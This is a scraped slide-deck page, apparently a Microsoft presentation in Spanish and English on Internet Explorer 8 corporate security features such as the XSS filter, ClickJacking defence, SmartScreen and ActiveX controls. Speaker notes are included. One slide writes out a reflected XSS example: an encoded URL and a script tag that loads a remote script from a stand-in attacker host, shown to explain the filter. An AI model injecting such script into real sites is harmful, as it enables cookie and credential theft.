Vulnerability_Management_GRC_by Sohang Sengupta.pptxVulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 

Seguridad Corporativa con IE8

  • 1. Seguridad Corporativa con Internet Explorer 8 Alejandro Ponicke aponicke@microsoft.com Juan Ladetto juanl@microsoft.com
  • 2. Agenda Evolución de Internet Explorer. Historia. El Browser como puerta de entrada a las amenazas que pululan en Internet, navegación responsable. Cross-side scripting (XSS exploits), ClickJacking y SmartScreen filtering. La mejor ayuda desde el lugar menos pensado: El poder de GroupPolicies controlando IE. Optimización de deployment. Recomendaciones. Extensibilidad: Caso de Uso “IE forKids”. Introducción a IEAK. Usos.
  • 3. Evolución de Internet Explorer Internet Explorer 1 – 15 de Agosto 1995 Parte de Microsoft Plus (Internet Jumpstart Kit in Plus!) - Internet Explorer 1.5 sale unosmesesmástarde y soporta rendering de tablas Internet Explorer 2 – 22 de Noviembre 1995 Ahorasoporta SSL, cookies, VRML, newsgroups Internet Explorer 3 – 13 de Agosto 1996 Se empieza a volver popular, el primer browser en soportarcss, se agrega java y controlesactiveX, sale con otrosagregados: mail y news, netmeeting y adreess Book (internet y los browsers empiezan a serblanco de los hackers Internet Explorer 4 – 17 de Setiembre 1997 Se adapta al SO y ahora con windows desktop update y convierte a windows desktop en Active desktop. Ahorasoporta group policy, internet mail esoutook express y ahoratambién sale con MS chat
  • 4. Evolución de Internet Explorer Internet Explorer 5 – 18 de Marzo 1999 Incluído en windows 98 SE, ahorasoporta bidirectional text, xml, xlt, caracteres ruby , textobidireccional, mhtml y lo mejor de todonaceajax (xmlhttprequest), últimaversiónpara mac y unix Ie 5.5 agregassl de 128 bits, mejoras en printing, html y css compatible con estándares
  • 6. Evolución de Internet Explorer Internet Explorer 6 – 27 de Agosto 2001 Mejoras en DHTML, inline frames, soporteparcialparacss 1, dom 1 y SMIL 2.0, ieak (ahora se puedecustomizar) En 2010 se acaba el soporte de estaversión Internet Explorer 7 – 18 de Octubre 2006 Mejoras en los estándares web, navegaciónpor tabs, search, filtroantiphishing y variasmás Internet Explorer 8 – 19 de Marzo 2009 Seguridad, facilidad de acceso, estándares, rss, css y ajaxes la prioridad. motores de rendering (ie7) Internet Explorer 9 - ???
  • 8. Evolution & Change Web 2.0 - significant benefits & challenges Blended threats shifting from the browser Decreasing consumer trust and confidence Data Governance & Regulations Privacy & User Preferences Rapid pace of threat innovation Organized Crime On The Rise Spy Corp Data & National Interest Personal Gain Thief / Organized International Crime Personal Fame Curiosity Vandal Amateur Expert Specialist Script-Kiddy
  • 9. Security by the Numbers Perception vs. reality
  • 10. Top Concerns Top User Concerns Protection from intrusions Protection from harm Control on data / privacy Business Concerns Data governance / corporate IP Business Interruption / productivity Impact to brand on consumer confidence
  • 11. Internet Explorer 8 Trustworthy Browsing Build on a secure foundation Security Development Lifecycle (SDL) Protected Mode ActiveX Controls DEP - Data Execution Prevention Browser Vulnerabilities Extends browser protection to the web server Http only cookies Group Policies XDomainRequest - Cross Domain Requests XDM - Cross Domain Messaging XSS Filter - Cross Site Scripting ClickJacking Defense Web Server & Applications Confidently bank, communicate & shop Extended Validation (EV) SSL Certificates SmartScreen® Filter – Blocks Phishing & Malware Domain Highlighting Enhanced Delete Browsing History InPrivate™ Browsing & Blocking Social Engineering & Privacy IE 7, IE 8
  • 13. Browser Vulnerabilities ActiveX Hardening & Enhancements Can it be used? Opt –in Is control permitted to run in browser without prompt? IE7 Exploit Controls ActiveX Killbits Has control been flagged as unsafe? IE5 Where? Per site Is control permitted to run on this site? IE8
  • 14. Browser Vulnerabilities ActiveX Hardening & Enhancements Doesn’t require users to have admin privileges to install Can be disabled through Group Policy Who? Per User Doesn’t req. elevating admin privileges
  • 15. Web Server & Applications
  • 16. Web Server & Applications Secure data exchangeCross Domain Communication SameOrigin Policy Permits scripts running on pages originating from the same site to access each other's methods and properties with no specific restrictions — but prevents access to most methods and properties across pages on different sites. Workarounds can be dangerous & costly
  • 17. Web Server & Applications Secure data exchangeInvestments in securing Web 2.0 Cross Domain Request (XDomainRequest) Enables web developers to more securely communicate between domains Provides a mechanism to establish trust between domains through an explicit acknowledgement of sharing cross domain, and both parties know which sites are sharing information Proposed to W3C for standardization Cross Document Messaging (XDM) Enables two domains to establish a trust relationship to exchange object messages Provides a web developer a more secure mechanism to build cross domain communication Part of the HTML5 specification
  • 18. Web Server & Applications XSS Exploits The new buffer overflow; steal cookies & history Log keystrokes Deface sites Steal credentials XSS Filter neuters the attack Blocks the malicious script from executing Port-scan the Intranet Abuse browser/AX vulnerabilities Evade phishing filters Circumvent HTTPS
  • 19. XSS Demo demo Web Server & Applications
  • 20. Web Server & Applications Behind The Scenes… Malicious URL in email contains encoded string:http://www.woodgrovebank.co.uk/woodgrovebank.asp?SID=%22%3E%3C%73%63%72... Vulnerable application adds <script> tag to page:<script for=window event=onloadsrc="http://hackersite.ie8demos.com/snoop.js"> </script> Generated Signature: <SC{R}IPT¤src¤¤http¤¤¤hackersite¤ie8demos¤com¤snoop¤js¤> Neutered Script: <SC#IPT src=http://hackersite.ie8demos.com/snoop.js>
  • 21. Web Server & Applications ClickJacking Type of Cross Site Request Forgery Entices users to click on content from another domain without the user realizing it. Evolving server exploit Impacts all browsers, only IE 8 has integrated protection capabilities Add an X-FRAME-OPTIONS tag in either the HTTP header. Deny all or allow from SameOrigin hosts
  • 22. Web Server & Applications ClickJacking
  • 24. Social Engineering & Privacy Microsoft Confidential – NDA Only
  • 25. Social Engineering & Privacy Perhaps a more effective warning?
  • 26. Social Engineering & Privacy EV SSL CertificatesLook for the Green Provides consumers added user confidence and brands enhanced protection Implemented by over 10,000 leading commerce, banking and transactional sites
  • 27. Social Engineering & Privacy Domain Highlighting Helps to more accurately ascertain the domain of the site they are visiting The domain is black, vs. other characters which are gray
  • 28. Social Engineering & Privacy SmartScreen™ Filteroffering dynamic protection from Phishing Malware
  • 29. SmartScreen DemoPhishing & Malware demo Social Engineering & Privacy
  • 30. User Choice & Control Social Engineering & Privacy Delete Browsing History InPrivate Browsing InPrivate Filtering
  • 31. Social Engineering & Privacy Delete Browsing History New option to Delete Browsing History while retaining favorites
  • 32. Social Engineering & Privacy Third Party Content Serving Over time, users’ history and profiles can unknowingly be aggregated Any third-party content can be used like a tracking cookie There is little end-user notification or control today Syndicated photos, weather, stocks, news articles; local analytics, etc…. Unclear accountability with third party security & privacy policies Tailspintoys.com Woodgrovebank.com Farbrikan.com Southridge1-1.com Litware-bulk.com adventureworks.com Northwintd.com Contoso.com User Visits Unique Sites Prosware-sol.com 3rd party Syndicator Web server
  • 33. InPrivate Demo demo Social Engineering & Privacy
  • 35.
  • 36.
  • 37.
  • 41.
  • 42. Y ahora?actualizandousuarios y sitiosdesde IE6 Migraresmásque un deploy de unanuevaversión (peronecesitamosdar el paso) Los cambios no son sencillospero… http://blogs.msdn.com/ie http://msdn.com/ie http://msdn.com/iecompat http://technet.microsoft.com/en-us/ie/bb219517.aspx

Editor's Notes

  1. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
  2. Platform :: App :: UserVuln Expense – Profit drivesAs the platform layer has become more secure over the last five years, vulnerabilities become harder to find and more valuable. You need more skill to find these sorts of vulns, so vandals and script kiddies are forced out of that space and up the application stack to productivity and web applications, as well as social engineering attacks.Criminals are motivated by profit, not glory. Platform vulns are hard (and therefore expensive) to find when applications or configuration errors are easier to exploit.
  3. FF3 Released in June 2008*28 of the 50 IE7 CVEs are duplicates**30 CVEs impact FF2 and FF3 and are counted against bothCVE data is publicly available, and vendor neutral.
  4. Users don’t say “I’m worried about XSS”Users care that it works safely. They care about…Businesses think more about specific threats they have heard of/experienced, but what they REALLY care about is ip/data safety, meeting policy and regs, and brand reputation
  5. We took this feedback, looked at the evolving layers of the security ecosystem & emerging threats, and addressed IE8 security features in a similarly layered fashion.Platform. App. User.
  6. Hack the Platform!
  7. Internet Explorer 8 provides for greater administrator management of ActiveX controls through per-user ActiveX and per-site ActiveX.Per-User ActiveX In Internet Explorer 8, per-user ActiveX makes it possible for standard users running on Windows Vista to install ActiveX controls in their own user profile, without requiring administrative privileges. This makes it easier for an organization to realize the full benefit of User Account Control by enabling standard users to install ActiveX controls that are used in their day-to-day browsing. In this way, if a user happens to install a malicious ActiveX control, the overall system will be unaffected, as the control was installed only under the user’s account. Since installations can be restricted to a user profile, the risk and cost of compromise (and, in turn, the total cost of administering users on a machine) are lowered significantly.As in Internet Explorer 7, when a webpage attempts to install a control, an Information Bar is displayed to the user. By clicking on the information bar, users can choose to either install the control machine-wide, or install it only for their own user account. The options in this menu will vary depending on the rights of the user (as managed with Group Policy settings for per-user ActiveX installations) and whether or not the control has been packaged to allow per-user installation. While this feature offers the possibility of lowering total cost of ownership, IT Administrators running managed environments also can elect to disable this feature via Group Policy.Opt-inIE8 also allows users to determine if an ActiveX control can be run on a site. This mechanism is called Opt-in and was present in IE7. It would appear as an information bar at the top of the browser before an ActiveX control was installed.Per-Site ActiveXWhen a user navigates to a Web site containing an ActiveX control, IE8 performs a number of checks, including a determination of where a control is permitted to run—a defense mechanism intended to help prevent malicious repurposing of controls. If a control is installed but is not permitted to run on a specific site, an Information Bar appears asking the user whether or not the control should be permitted to run on the current Web site or on all Web sites. IT administrators can use Group Policy to preset allowed controls and their associated domains.ActiveX KillbitsFinally, site owners can prevent an ActiveX control from running in Internet Explorer by setting the kill bit so that the control is never called by Internet Explorer when default settings are used.
  8. Internet Explorer 8 provides for greater administrator management of ActiveX controls through per-user ActiveX and per-site ActiveX.Per-User ActiveX In Internet Explorer 8, per-user ActiveX makes it possible for standard users running on Windows Vista to install ActiveX controls in their own user profile, without requiring administrative privileges. This makes it easier for an organization to realize the full benefit of User Account Control by enabling standard users to install ActiveX controls that are used in their day-to-day browsing. In this way, if a user happens to install a malicious ActiveX control, the overall system will be unaffected, as the control was installed only under the user’s account. Since installations can be restricted to a user profile, the risk and cost of compromise (and, in turn, the total cost of administering users on a machine) are lowered significantly.As in Internet Explorer 7, when a webpage attempts to install a control, an Information Bar is displayed to the user. By clicking on the information bar, users can choose to either install the control machine-wide, or install it only for their own user account. The options in this menu will vary depending on the rights of the user (as managed with Group Policy settings for per-user ActiveX installations) and whether or not the control has been packaged to allow per-user installation. While this feature offers the possibility of lowering total cost of ownership, IT Administrators running managed environments also can elect to disable this feature via Group Policy.Opt-inIE8 also allows users to determine if an ActiveX control can be run on a site. This mechanism is called Opt-in and was present in IE7. It would appear as an information bar at the top of the browser before an ActiveX control was installed.Per-Site ActiveXWhen a user navigates to a Web site containing an ActiveX control, IE8 performs a number of checks, including a determination of where a control is permitted to run—a defense mechanism intended to help prevent malicious repurposing of controls. If a control is installed but is not permitted to run on a specific site, an Information Bar appears asking the user whether or not the control should be permitted to run on the current Web site or on all Web sites. IT administrators can use Group Policy to preset allowed controls and their associated domains.ActiveX KillbitsFinally, site owners can prevent an ActiveX control from running in Internet Explorer by setting the kill bit so that the control is never called by Internet Explorer when default settings are used.
  9. Hack the Application!
  10. Thing is, we WANT to be able to mashup data and webby goodness. How do you protect against malicious scripts while enabling Web 2.0?
  11. The XDR object introduces a gate and guards into the picture. Your site can use the XDR object to get data from other domain’s servers in a safe and simple way. XDR is good for servers and pages.IE sends the server your domain name so it can do security checks. It may want to block requests from most domains. IE also strips personal user-data like cookies from outgoing requests so the user-data isn’t compromised.IE checks the server response to ensure the domain matches what you expect.The data is transferred as a text string instead, which you can use or parse.We’ve also introduced another new feature to increase security for cross domain communication.XDM is similar to XDR in that it is a safe and easy to use mechanism for cross domain communication. However, XDM is used to transfer data between domains in different documents within the browser. For example; these documents can just be two frames in a single page or pages in different tabs.Both documents opt-into transferring data and then do so using the postmessage() object
  12. XSS Exploits are relatively common, and an easy way for an attacker to deliver malicious content or steal user data. Web developers can make this harder for Bad Guys by doing proper input/output sanitization; even introducing length checks alone makes the attackers life harder. -news content injection example-It would be great if all websites were developed securely and immune to this, but they aren’t. So in IE8 we are introducing a XSS filter to protect against the most common type of XSS attack, the Type 1 or reflected attack. And my lovely assistant James is going to come demonstrate just how this works.
  13. KPrice
  14. ONE MORE TIME!!!Just in case the demo $DEITY was not favoring us today…
  15. The SmartScreen Filter now includes a new security feature designed to help detect and prevent “ClickJacking”. This feature is always enabled and cannot be disabled.ClickJacking is an attack whereby an attacker’s web page entices the user to click on content delivered from another domain (or from a native security prompt) without the user realizing it. ClickJacking renders most anti-CSRF (cross site request forgery) mitigations defenseless, and can be used to reconfigure certain browser add-ons in unsafe ways. Attackers show a set of dummy buttons, then load another page over it in a transparent layer. The user thinks he is clicking the visible buttons, while he/she is actually performing actions on the hidden page. The hidden page may be an authentic page, and therefore the attackers can trick users into performing actions which the users never intended to do and there is no way tracing such actions later, as the user was genuinely authenticated on the other pageMicrosoft is working with the borwser community to support this solution and instruct all sites to include the tag on every page on their site
  16. Hack the User!
  17. Ultimately we want to help users make safe, responsible choices without having to be a security expert, and give them confidence in their safety online.
  18. Brand enhancing, to build user confidencealso user education/reinforcementIf cert is bad, browser gives warning page and recommends not continuing to the site.
  19. Emerging threat vectors & diversificationNeed to help address needs & concerns of:Users, Businesses, Brands and Site owners SmartScreen® Filter Integrated Phishing & Malware download protectionExamines URL string, preempting evolving threats Blocks 1 million+ weekly phishing attempts (IE7 & IE8)Significant malware site detection volumes ~10 x traffic as compared to phishing, (IE8 beta users).Blocking 1,000’s of new phishing sites daily. Group Policy support – Key IT requirement24 x 7support processes and feedback mechanisms
  20. Emerging threat vectors & diversificationNeed to help address needs & concerns of:Users, Businesses, Brands and Site owners SmartScreen® Filter Integrated Phishing & Malware download protectionExamines URL string, preempting evolving threats Blocks 1 million+ weekly phishing attempts (IE7 & IE8)Significant malware site detection volumes ~10 x traffic as compared to phishing, (IE8 beta users).Blocking 1,000’s of new phishing sites daily. Group Policy support – Key IT requirement24 x 7support processes and feedback mechanisms
  21. Double check we own those domains!!